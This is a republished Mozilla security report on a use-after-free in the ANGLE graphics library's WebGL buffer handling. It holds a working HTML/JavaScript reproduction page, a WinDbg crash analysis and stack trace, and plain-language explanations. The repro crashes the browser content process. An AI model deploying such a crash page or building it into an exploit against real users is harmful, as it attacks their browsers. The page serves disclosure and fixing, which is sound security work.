libGLES - Use After Free in Buffer11::updateBufferStorage()
A use-after-free flaw existed in the ANGLE graphics library's buffer storage handling, where a freed storage object was still dereferenced during a buffer data update. An attacker could trigger a crash of the browser content process by loading a crafted web page that manipulates WebGL buffers.
Originally disclosed on Mozilla
- Fixed in 47 days
- Paid in 54 days
- Disclosed after 47 days
Created attachment 8821380 UAF_updateBufferStorage_Repro.html
Reproduction test case:
<html><body ><canvas id="test"></canvas></body><script>
var canvas0=document.getElementById("test");
var gl = canvas0.getContext("webgl2");
var buffer0= gl.createBuffer();
gl.bindBuffer(gl.UNIFORM_BUFFER, buffer0);
gl.bindBuffer(gl.ARRAY_BUFFER, buffer0);
var myImage = new Image();myImage.src = "non.jpg";myImage.onerror = function(){ canvas0.width = "418";}
var observer0 =new MutationObserver(function listener1(event) {
if( typeof listener1.counter == "undefined"){listener1.counter = 0;}
if(listener1.counter > 3) return;
listener1.counter++;
var vertices = [ 1.0, 1.0, 0.0, -1.0, 1.0, 0.0, 1.0, -1.0, 0.0, -1.0, -1.0, 0.0];
gl.bufferData(gl.ARRAY_BUFFER, new Float32Array(vertices), gl.STATIC_DRAW);;
canvas0.width = "418";
gl.bufferData(gl.UNIFORM_BUFFER, 2626,gl.STATIC_COPY);
}); observer0.observe(canvas0, {attributes: true});
var timeout0 = setTimeout(function(){ gl.bufferData(gl.ARRAY_BUFFER, 2167,gl.STREAM_DRAW); }, 74);
</script></html>
Steps to reproduce: 1. Open the test case UAF_updateBufferStorage_Repro.html in Firefox browser.
Firefox version: 53.0a1 (2016-12-22) (32-bit) OS: Windows 10
Stack trace:
(615c.6088): Access violation - code c0000005 (!!! second chance !!!)
eax=e5e5e5e5 ebx=11ab9280 ecx=11ab9280 edx=0dc8ba00 esi=11afc280 edi=11afc280
eip=65181b4d esp=010fdea4 ebp=010fded8 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210246
libGLESv2!rx::Buffer11::updateBufferStorage+0xdb:
65181b4d ff5008 call dword ptr [eax+8] ds:002b:e5e5e5ed=????????
2:059> !analyze -v
*******************************************************************************
* *
* Exception Analysis *
* *
*******************************************************************************
FAULTING_IP:
libGLESv2!rx::Buffer11::updateBufferStorage+db [c:\builds\moz2_slave\m-cen-w32-ntly-000000000000000\build\src\gfx\angle\src\libangle\renderer\d3d\d3d11\buffer11.cpp @ 807]
65181b4d ff5008 call dword ptr [eax+8]
EXCEPTION_RECORD: (.exr -1)
ExceptionAddress: 65181b4d (libGLESv2!rx::Buffer11::updateBufferStorage+0x000000db)
ExceptionCode: c0000005 (Access violation)
ExceptionFlags: 00000000
NumberParameters: 2
Parameter[0]: 00000000
Parameter[1]: e5e5e5ed
Attempt to read from address e5e5e5ed
FAULTING_THREAD: 00006088
PROCESS_NAME: firefox.exe
ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.
EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.
EXCEPTION_PARAMETER1: 00000000
EXCEPTION_PARAMETER2: e5e5e5ed
READ_ADDRESS: e5e5e5ed
FOLLOWUP_IP:
libGLESv2!rx::Buffer11::updateBufferStorage+db [c:\builds\moz2_slave\m-cen-w32-ntly-000000000000000\build\src\gfx\angle\src\libangle\renderer\d3d\d3d11\buffer11.cpp @ 807]
65181b4d ff5008 call dword ptr [eax+8]
NTGLOBALFLAG: 400
APPLICATION_VERIFIER_FLAGS: 0
APP: firefox.exe
ANALYSIS_VERSION: 10.0.10240.9 x86fre
BUGCHECK_STR: INVALID_POINTER_READ_IN_CALL
DEFAULT_BUCKET_ID: INVALID_POINTER_READ_IN_CALL
LAST_CONTROL_TRANSFER: from 6518175f to 65181b4d
STACK_TEXT:
010fded8 6518175f 010fdefc 11ab9280 00000000 libGLESv2!rx::Buffer11::updateBufferStorage+0xdb
010fdf08 65180d5c 010fdf20 00000000 1189ac40 libGLESv2!rx::Buffer11::getBufferStorage+0x85
010fdf34 65180e2e 010fdf50 00000000 1189ac40 libGLESv2!rx::Buffer11::getSystemMemoryStorage+0x13
010fdf64 65180cad 010fdf88 00008892 1159b000 libGLESv2!rx::Buffer11::setSubData+0x94
010fdf94 65213ca0 010fdfbc 00008892 1159b000 libGLESv2!rx::Buffer11::setData+0x29
010fdfd4 6514a85d 00008892 00000877 1159b000 libGLESv2!gl::Context::bufferData+0x34
010fdff0 67e716e5 00008892 00000877 1159b000 libGLESv2!gl::BufferData+0x40
010fe010 682c7787 00008892 00000877 1159b000 xul!mozilla::gl::GLContext::fBufferData+0x1a
010fe070 682ce0fd 00008892 00000877 1159b000 xul!mozilla::WebGLBuffer::BufferData+0xc3
010fe0a8 682ce03e 00008892 00000877 1159b000 xul!mozilla::WebGLContext::BufferDataImpl+0x48
010fe0e0 6817cb2e 00008892 00000877 00000000 xul!mozilla::WebGLContext::BufferData+0x82
010fe160 672dee29 075a2000 010fe1b8 118db800 xul!mozilla::dom::WebGL2RenderingContextBinding::bufferData+0x2d8
010fe204 672de265 00000000 075a2000 00000000 xul!js::InternalCallOrConstruct+0x5b9
010fe228 672eb010 075a2000 00000001 11b3d200 xul!InternalCall+0xb5
010feb68 67864471 010fec80 010fec80 010fec80 xul!Interpret+0x5990
010febf8 672deb00 075a2000 010fec70 010fed30 xul!js::RunScript+0x231
010fec94 672cbfb8 00000000 010fedec 075a2000 xul!js::InternalCallOrConstruct+0x290
010fecbc 672cb707 010fee38 010feed8 010fee08 xul!js::Call+0x81
010fedb4 671916d5 010feed8 010fee38 010fee08 xul!JS::Call+0x107
010feeac 67191550 075a2000 010feed8 11ad2adc xul!mozilla::dom::Function::Call+0x14f
010ff004 6719133d 010ff038 11ad2adc 010ff080 xul!mozilla::dom::Function::Call<nsCOMPtr<nsISupports> >+0xc1
010ff160 67192647 11ac8520 10f3dce0 11a82010 xul!nsGlobalWindow::RunTimeoutHandler+0x148
010ff204 67190e54 11ac8520 0000000d 11ac8520 xul!mozilla::dom::TimeoutManager::RunTimeout+0x2b8
010ff218 672b6373 11a6d910 11ac8520 11a82010 xul!mozilla::dom::`anonymous namespace'::TimerCallback+0x1f
010ff290 672b62c4 115285c0 115285f4 00000000 xul!nsTimerImpl::Fire+0x9b
010ff2cc 67193ae0 11a82010 0170e160 090d7a04 xul!nsTimerEvent::Run+0x45
010ff2f0 67193a63 68f96ac4 010ff36c 67269171 xul!mozilla::ThrottledEventQueue::Inner::ExecuteRunnable+0x76
010ff2fc 67269171 11ab9240 01704980 6974b601 xul!mozilla::ThrottledEventQueue::Inner::Executor::Run+0xf
010ff36c 67194b98 0170e160 6974b601 010ff387 xul!nsThread::ProcessNextEvent+0x14d
010ff388 672678a7 010ff560 01704970 010ff560 xul!NS_ProcessNextEvent+0x16
010ff3b0 67c133d1 010ff560 010ff560 00000000 xul!mozilla::ipc::MessagePump::Run+0xcc
010ff3cc 673454f9 010ff560 c0f8122d 090d7a00 xul!mozilla::ipc::MessagePumpForChildProcess::Run+0x58
010ff404 673454c8 0170e160 00000002 090d7a00 xul!MessageLoop::RunHandler+0x20
010ff424 67535f2e 01704970 010ff560 010ff444 xul!MessageLoop::Run+0x19
010ff434 67535cbd 090d7a00 01704970 010ff458 xul!nsBaseAppShell::Run+0x34
010ff444 68a23084 090d7a00 01704970 090d7a00 xul!nsAppShell::Run+0x26
010ff458 67c1338f 010ff560 01704970 010ff4a0 xul!XRE_RunAppShell+0x26
010ff468 673454f9 010ff560 c0f81289 00000003 xul!mozilla::ipc::MessagePumpForChildProcess::Run+0x16
010ff4a0 673454c8 0172a000 00000001 69019200 xul!MessageLoop::RunHandler+0x20
010ff4c0 68a22d9b 01701040 0000000b 00000000 xul!MessageLoop::Run+0x19
010ff62c 002b9ce9 0000000b 01701040 010ff64c xul!XRE_InitChildProcess+0x55f
010ff658 002b7e22 6f1672e4 6f1672ec 013c7298 firefox!content_process_main+0x70
010ff9e4 002b5e37 0000000c ffcd16c0 013cbd50 firefox!wmain+0x4e92
010ffa2c 772b38f4 00e4f000 772b38d0 d8aedd39 firefox!__scrt_common_main_seh+0xf9
010ffa40 77d65de3 00e4f000 d87b03d4 00000000 KERNEL32!BaseThreadInitThunk+0x24
010ffa88 77d65dae ffffffff 77d8b7e7 00000000 ntdll!__RtlUserThreadStart+0x2f
010ffa98 00000000 002b5ead 00e4f000 00000000 ntdll!_RtlUserThreadStart+0x1b
FAULTING_SOURCE_LINE: c:\builds\moz2_slave\m-cen-w32-ntly-000000000000000\build\src\gfx\angle\src\libangle\renderer\d3d\d3d11\buffer11.cpp
FAULTING_SOURCE_FILE: c:\builds\moz2_slave\m-cen-w32-ntly-000000000000000\build\src\gfx\angle\src\libangle\renderer\d3d\d3d11\buffer11.cpp
FAULTING_SOURCE_LINE_NUMBER: 807
FAULTING_SOURCE_CODE:
803: latestBuffer = stagingBuffer;
804: }
805:
806: CopyResult copyResult = CopyResult::NOT_RECREATED;
> 807: ANGLE_TRY_RESULT(storage->copyFromStorage(latestBuffer, sourceOffset, storageSize, 0),
808: copyResult);
809: // If the D3D buffer has been recreated, we should update our serial.
810: if (copyResult == CopyResult::RECREATED)
811: {
812: updateSerial();
SYMBOL_STACK_INDEX: 0
SYMBOL_NAME: libglesv2!rx::Buffer11::updateBufferStorage+db
FOLLOWUP_NAME: MachineOwner
MODULE_NAME: libGLESv2
IMAGE_NAME: libGLESv2.dll
DEBUG_FLR_IMAGE_TIMESTAMP: 585bd734
STACK_COMMAND: ~59s ; kb
BUCKET_ID: INVALID_POINTER_READ_IN_CALL_libglesv2!rx::Buffer11::updateBufferStorage+db
PRIMARY_PROBLEM_CLASS: INVALID_POINTER_READ_IN_CALL_libglesv2!rx::Buffer11::updateBufferStorage+db
FAILURE_PROBLEM_CLASS: INVALID_POINTER_READ_IN_CALL
FAILURE_EXCEPTION_CODE: c0000005
FAILURE_IMAGE_NAME: libGLESv2.dll
FAILURE_FUNCTION_NAME: rx::Buffer11::updateBufferStorage
FAILURE_SYMBOL_NAME: libGLESv2.dll!rx::Buffer11::updateBufferStorage
FAILURE_BUCKET_ID: INVALID_POINTER_READ_IN_CALL_c0000005_libGLESv2.dll!rx::Buffer11::updateBufferStorage
ANALYSIS_SOURCE: UM
FAILURE_ID_HASH_STRING: um:invalid_pointer_read_in_call_c0000005_libglesv2.dll!rx::buffer11::updatebufferstorage
FAILURE_ID_HASH: {7530445f-e192-bd84-04e5-903b912a400c}
Followup: MachineOwner
---------
Variables shows that the storage object had been freed:
storage 0x11ab9280 class rx::Buffer11::BufferStorage *
angle::NonCopyable class angle::NonCopyable
__vfptr 0xe5e5e5e5
mRenderer 0xe5e5e5e5 class rx::Renderer11 *
mRevision 0xe5e5e5e5
mUsage 0n-437918235 (No matching enumerant)
mBufferSize 0xe5e5e5e5
sourceOffset 0
storageSize 0xa42
ANGLE_LOCAL_VAR class gl::ErrorOrResult<rx::Buffer11::BufferStorage *>
ANGLE_LOCAL_VAR class gl::ErrorOrResult<enum rx::`anonymous namespace'::CopyResult>
ANGLE_LOCAL_VAR class gl::ErrorOrResult<rx::Buffer11::NativeStorage *>
copyResult <Value unavailable>
latestBuffer 0x11afc280 class rx::Buffer11::BufferStorage *
rx::BufferD3D::mNextSerial <Value unavailable>
this 0x11afc280 class rx::Buffer11 *
__vtcast_rx::Buffer11::NativeStorage class rx::Buffer11::NativeStorage
rx::BufferD3D class rx::BufferD3D
mRenderer 0x68f8ec90 class rx::Renderer11 *
mSize 0x68f8bc90
mMappedStorage 0x00000000 class rx::Buffer11::BufferStorage *
mBufferStorages class std::array<rx::Buffer11::BufferStorage *,8>
mDeallocThresholds class std::array<unsigned int,8>
mIdleness class std::array<unsigned int,8>
mConstantBufferRangeStoragesCache class std::map<long,rx::Buffer11::ConstantBufferCacheEntry,std::less<long>,std::allocator<std::pair<long const ,rx::Buffer11::ConstantBufferCacheEntry> > >
mConstantBufferStorageAdditionalSize 0
mMaxConstantBufferLruCount 0
mStaticBroadcastChannel class angle::BroadcastChannel
mDirectBroadcastChannel class angle::BroadcastChannel
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely a buffer storage object was freed while still referenced, so a later buffer data call dereferenced the stale pointer.
Impact
A crafted page could crash the browser content process; the report does not demonstrate code execution.
What the attacker needed
Victim opens a crafted page; WebGL2 support in the browser
How it was found
- Open the provided test case file in Firefox.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
Web pages can draw 3D graphics using a browser feature called WebGL. The browser keeps memory for these graphics in a buffer, and here the code freed that memory but then tried to use it again, which is called a use-after-free. The result is that the browser crashes, and in some cases this kind of bug can be turned into running attacker code.
What is Memory corruption?
Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.